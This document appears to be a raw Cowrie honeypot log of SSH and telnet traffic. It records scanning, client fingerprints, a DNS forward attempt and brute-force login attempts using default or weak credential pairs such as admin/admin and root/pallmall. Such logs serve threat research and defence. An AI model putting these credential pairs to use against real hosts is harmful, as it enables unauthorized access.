{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:07.372740Z","src_ip":"45.153.34.97","session":"9cf01796a190","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":57492,"dst_ip":"10.17.0.5","dst_port":22,"session":"29a6122e8585","protocol":"ssh","message":"New connection: 45.153.34.97:57492 (10.17.0.5:22) [session: 29a6122e8585]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:10.068872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:10.078541Z","src_ip":"45.153.34.97","session":"29a6122e8585","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:10.173433Z","src_ip":"45.153.34.97","session":"29a6122e8585","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"seed","password":"seed","message":"login attempt [seed/seed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:11.086082Z","src_ip":"45.153.34.97","session":"29a6122e8585","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:12.181400Z","src_ip":"45.153.34.97","session":"29a6122e8585","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":10640,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff28aea14daa","protocol":"ssh","message":"New connection: 45.153.34.97:10640 (10.17.0.5:22) [session: ff28aea14daa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:14.120111Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:14.289331Z","src_ip":"45.153.34.97","session":"ff28aea14daa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:14.296553Z","src_ip":"45.153.34.97","session":"ff28aea14daa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ops","password":"ops","message":"login attempt [ops/ops] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:14.683106Z","src_ip":"45.153.34.97","session":"ff28aea14daa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":58228,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8b81e7ddb99","protocol":"ssh","message":"New connection: 87.251.64.176:58228 (10.17.0.5:22) [session: f8b81e7ddb99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:15.807686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:15.812550Z","src_ip":"87.251.64.176","session":"f8b81e7ddb99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:15.900861Z","src_ip":"45.153.34.97","session":"ff28aea14daa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:15.914052Z","src_ip":"87.251.64.176","session":"f8b81e7ddb99","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:16.217637Z","src_ip":"87.251.64.176","session":"f8b81e7ddb99","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:16.322911Z","session":"f8b81e7ddb99","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:16.431593Z","src_ip":"87.251.64.176","session":"f8b81e7ddb99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:16.669837Z","src_ip":"87.251.64.176","session":"f8b81e7ddb99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.15.108","src_port":14088,"dst_ip":"10.17.0.5","dst_port":22,"session":"0448477d5c73","protocol":"ssh","message":"New connection: 34.140.15.108:14088 (10.17.0.5:22) [session: 0448477d5c73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:17.001558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap_SSH2_Enum_Algos","message":"Remote SSH version: SSH-2.0-Nmap_SSH2_Enum_Algos","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:17.028319Z","src_ip":"34.140.15.108","session":"0448477d5c73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"a20aced7c9824fd804f59e68dd801ad3","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: a20aced7c9824fd804f59e68dd801ad3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:17.130217Z","src_ip":"34.140.15.108","session":"0448477d5c73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:17.138513Z","src_ip":"34.140.15.108","session":"0448477d5c73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":10654,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2c0dee498a3","protocol":"ssh","message":"New connection: 45.153.34.97:10654 (10.17.0.5:22) [session: d2c0dee498a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:18.270841Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:18.281109Z","src_ip":"45.153.34.97","session":"d2c0dee498a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:18.381479Z","src_ip":"45.153.34.97","session":"d2c0dee498a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpadmin","password":"p@ssw0rd","message":"login attempt [ftpadmin/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:19.210792Z","src_ip":"45.153.34.97","session":"d2c0dee498a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:20.297039Z","src_ip":"45.153.34.97","session":"d2c0dee498a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"33.6","message":"Connection lost after 33.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:21.147768Z","src_ip":"35.233.68.241","session":"978701f46475","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.787240505218506,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:22.364784Z","src_ip":"152.42.224.71","session":"39ad99b48bb3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":44636,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7e1f58fe61b","protocol":"ssh","message":"New connection: 45.153.34.97:44636 (10.17.0.5:22) [session: b7e1f58fe61b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:22.395164Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:22.487160Z","src_ip":"45.153.34.97","session":"b7e1f58fe61b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:22.492112Z","src_ip":"45.153.34.97","session":"b7e1f58fe61b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"osboxes","password":"osboxes.org","message":"login attempt [osboxes/osboxes.org] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:22.881832Z","src_ip":"45.153.34.97","session":"b7e1f58fe61b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:24.094745Z","src_ip":"45.153.34.97","session":"b7e1f58fe61b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":40130,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0969f299a1e","protocol":"telnet","message":"New connection: 213.108.3.46:40130 (159.203.135.109:23) [session: d0969f299a1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:25.318335Z"}
{"eventid":"cowrie.session.closed","duration":0.015575647354125977,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:25.333771Z","src_ip":"213.108.3.46","session":"d0969f299a1e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":44646,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d6a168629bd","protocol":"ssh","message":"New connection: 45.153.34.97:44646 (10.17.0.5:22) [session: 0d6a168629bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:26.471777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:26.485918Z","src_ip":"45.153.34.97","session":"0d6a168629bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:26.579385Z","src_ip":"45.153.34.97","session":"0d6a168629bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pallmall","message":"login attempt [root/pallmall] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:27.117263Z","src_ip":"45.153.34.97","session":"0d6a168629bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.31.20","src_port":45704,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf7ac35199f8","protocol":"ssh","message":"New connection: 43.153.31.20:45704 (159.203.135.109:22) [session: cf7ac35199f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:27.602561Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:27.619128Z","src_ip":"43.153.31.20","session":"cf7ac35199f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:27.688339Z","src_ip":"43.153.31.20","session":"cf7ac35199f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"admin","message":"login attempt [administrator/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:27.993105Z","src_ip":"43.153.31.20","session":"cf7ac35199f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:28.202116Z","src_ip":"45.153.34.97","session":"0d6a168629bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:29.065626Z","src_ip":"43.153.31.20","session":"cf7ac35199f8","protocol":"ssh"}
